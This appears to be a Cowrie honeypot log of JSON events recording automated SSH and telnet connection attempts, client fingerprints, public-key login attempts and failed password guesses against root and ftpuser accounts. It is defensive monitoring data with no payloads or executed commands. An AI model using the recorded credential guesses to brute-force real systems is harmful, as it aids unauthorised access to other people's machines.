{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:18.335411Z","src_ip":"103.188.177.46","session":"7f5a349a13e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benjamin","message":"login attempt [root/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:19.318231Z","src_ip":"103.188.177.46","session":"7f5a349a13e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":45388,"dst_ip":"159.203.135.109","dst_port":23,"session":"6417e8c31237","protocol":"telnet","message":"New connection: 209.127.178.212:45388 (159.203.135.109:23) [session: 6417e8c31237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:19.623958Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:20.559097Z","src_ip":"103.188.177.46","session":"7f5a349a13e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45326,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b36aefd3ec1","protocol":"telnet","message":"New connection: 152.42.224.71:45326 (10.17.0.5:23) [session: 0b36aefd3ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:24.871629Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":45618,"dst_ip":"159.203.135.109","dst_port":23,"session":"84580b68fe4e","protocol":"telnet","message":"New connection: 209.127.178.212:45618 (159.203.135.109:23) [session: 84580b68fe4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:25.479057Z"}
{"eventid":"cowrie.session.closed","duration":32.17104411125183,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:28.607743Z","src_ip":"209.127.178.212","session":"3b8b386a9f8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.847586393356323,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:29.924924Z","src_ip":"152.42.224.71","session":"5a14624cdbae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33186,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ba7fc0c6559","protocol":"telnet","message":"New connection: 152.42.224.71:33186 (10.17.0.5:23) [session: 3ba7fc0c6559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:31.516675Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33194,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace7b00ecc9d","protocol":"telnet","message":"New connection: 152.42.224.71:33194 (10.17.0.5:23) [session: ace7b00ecc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:32.698619Z"}
{"eventid":"cowrie.session.closed","duration":31.622299671173096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:34.221692Z","src_ip":"209.127.178.212","session":"d57b9159af1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.40602135658264,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:36.172265Z","src_ip":"152.42.224.71","session":"741e3073c01a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":45568,"dst_ip":"159.203.135.109","dst_port":22,"session":"12c57e133652","protocol":"ssh","message":"New connection: 43.133.62.188:45568 (159.203.135.109:22) [session: 12c57e133652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:47.889725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:47.894767Z","src_ip":"43.133.62.188","session":"12c57e133652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:48.133631Z","src_ip":"43.133.62.188","session":"12c57e133652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.99023747444153,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:48.891583Z","src_ip":"152.42.224.71","session":"f79e91777e2c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1","message":"login attempt [ftpuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:49.118341Z","src_ip":"43.133.62.188","session":"12c57e133652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:50.359259Z","src_ip":"43.133.62.188","session":"12c57e133652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.78439950942993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:50.408203Z","src_ip":"209.127.178.212","session":"6417e8c31237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44458,"dst_ip":"10.17.0.5","dst_port":23,"session":"11682c08609a","protocol":"telnet","message":"New connection: 152.42.224.71:44458 (10.17.0.5:23) [session: 11682c08609a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:52.443062Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37654,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7431c27998f","protocol":"ssh","message":"New connection: 103.153.68.219:37654 (159.203.135.109:22) [session: e7431c27998f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:55.094359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:55.099410Z","src_ip":"103.153.68.219","session":"e7431c27998f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:55.354250Z","src_ip":"103.153.68.219","session":"e7431c27998f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1234567","message":"login attempt [root/q1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:56.097960Z","src_ip":"103.153.68.219","session":"e7431c27998f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52538,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d863990cfb4","protocol":"telnet","message":"New connection: 152.42.224.71:52538 (10.17.0.5:23) [session: 7d863990cfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:56.754593Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:57.349319Z","src_ip":"103.153.68.219","session":"e7431c27998f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.156354904174805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:57.635304Z","src_ip":"209.127.178.212","session":"84580b68fe4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.041774034500122,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:58.558301Z","src_ip":"152.42.224.71","session":"3ba7fc0c6559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52550,"dst_ip":"10.17.0.5","dst_port":23,"session":"d748159a9747","protocol":"telnet","message":"New connection: 152.42.224.71:52550 (10.17.0.5:23) [session: d748159a9747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:00.264678Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39528,"dst_ip":"10.17.0.5","dst_port":23,"session":"087d41558ac6","protocol":"telnet","message":"New connection: 152.42.224.71:39528 (10.17.0.5:23) [session: 087d41558ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:06.676753Z"}
{"eventid":"cowrie.session.closed","duration":120.00221848487854,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:06.879416Z","src_ip":"152.42.224.71","session":"fbab69ed1640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39532,"dst_ip":"10.17.0.5","dst_port":23,"session":"78bb39f9ea2e","protocol":"telnet","message":"New connection: 152.42.224.71:39532 (10.17.0.5:23) [session: 78bb39f9ea2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:09.837864Z"}
{"eventid":"cowrie.session.closed","duration":116.41013860702515,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:11.495073Z","src_ip":"152.42.224.71","session":"a98c79497b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39452,"dst_ip":"10.17.0.5","dst_port":23,"session":"c09b4125128a","protocol":"telnet","message":"New connection: 152.42.224.71:39452 (10.17.0.5:23) [session: c09b4125128a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:16.071060Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39454,"dst_ip":"10.17.0.5","dst_port":23,"session":"6afb49a9f2f8","protocol":"telnet","message":"New connection: 152.42.224.71:39454 (10.17.0.5:23) [session: 6afb49a9f2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:18.490834Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":50830,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1c79abe876f","protocol":"ssh","message":"New connection: 192.169.243.246:50830 (10.17.0.5:22) [session: d1c79abe876f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:18.699618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:18.704711Z","src_ip":"192.169.243.246","session":"d1c79abe876f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:18.778565Z","src_ip":"192.169.243.246","session":"d1c79abe876f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghjk","message":"login attempt [root/asdfghjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:19.115825Z","src_ip":"192.169.243.246","session":"d1c79abe876f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39460,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2b8ce7e93bb","protocol":"telnet","message":"New connection: 152.42.224.71:39460 (10.17.0.5:23) [session: e2b8ce7e93bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:19.745931Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:20.191812Z","src_ip":"192.169.243.246","session":"d1c79abe876f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.252.188.23","src_port":44564,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb9fb1c7c043","protocol":"ssh","message":"New connection: 45.252.188.23:44564 (10.17.0.5:22) [session: fb9fb1c7c043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:22.269249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:22.275252Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:22.457730Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:79:52:04:6b:88:e6:11:13:b4:e8:a2:bb:b4:74:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtv9F9asxHhP6iWS9HLnqUo7WjFVSGTP1EbIDcJuXoiWxRU+VBVxUENGt7VDbSYEgJKTgZdGBLAu12ozIeE7wqRaxfqZIukWE2IK+AYkg+T4Jo59mmcQnCCL6en9hWY8g7cBZkaw+s9NnMSOX1uGxPm7w8uopbn0UR90Yvvjw77gnTBdb5tTx6u1A2TvaRRXEYMrWJlpmkEA0JqV5S6ra+JiM9CTLLVOxq2WevqrvCeWUBg7oqjYJ17mEjiGd0wrPOh8nDefbSDfjpyZt8GWfXAJw18nz4lL2XzVvZsjSUrkb9ytfp4VpY5yX4oEdnjCZ7cuv8mN31WK1oA9qKVsAx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:79:52:04:6b:88:e6:11:13:b4:e8:a2:bb:b4:74:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:23.331841Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:79:52:04:6b:88:e6:11:13:b4:e8:a2:bb:b4:74:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtv9F9asxHhP6iWS9HLnqUo7WjFVSGTP1EbIDcJuXoiWxRU+VBVxUENGt7VDbSYEgJKTgZdGBLAu12ozIeE7wqRaxfqZIukWE2IK+AYkg+T4Jo59mmcQnCCL6en9hWY8g7cBZkaw+s9NnMSOX1uGxPm7w8uopbn0UR90Yvvjw77gnTBdb5tTx6u1A2TvaRRXEYMrWJlpmkEA0JqV5S6ra+JiM9CTLLVOxq2WevqrvCeWUBg7oqjYJ17mEjiGd0wrPOh8nDefbSDfjpyZt8GWfXAJw18nz4lL2XzVvZsjSUrkb9ytfp4VpY5yX4oEdnjCZ7cuv8mN31WK1oA9qKVsAx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:23.336241Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:7c:d0:9f:5b:c6:52:24:6d:26:7d:9f:b6:ba:cf:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0r/Az0R+u5p7eMRbBw54Gll1HGaSFZE3fusdu12N+RlbztHXO2O5OS8sefN3ffCrGqe4N6AcRdrOK+9i9X8SS+98/LwUhAOfl1zT8u9tQcsAfwga3pQbLUMTZLTdJYbHFJm7Fy1T/u+O6n9Ee65tQNHlLnqeAwajTJBOi3A7QpQnlVZF9oAY6qbyQgp7TvVCX9vwhivsX8yBozp+hc0kY2JsCZUnlj8RY7Gco4ifWetI9y3Ih1YYn6nb3CB4w7zwVNfdxLSyq2X/onLB7ixmrvD+OpZQ6/5Jf/87ZOq3r3zY9DPcJitKHWCeSN2XbN5bAh0Acf6tvCQ0k1hTsR39X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:7c:d0:9f:5b:c6:52:24:6d:26:7d:9f:b6:ba:cf:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:23.517406Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
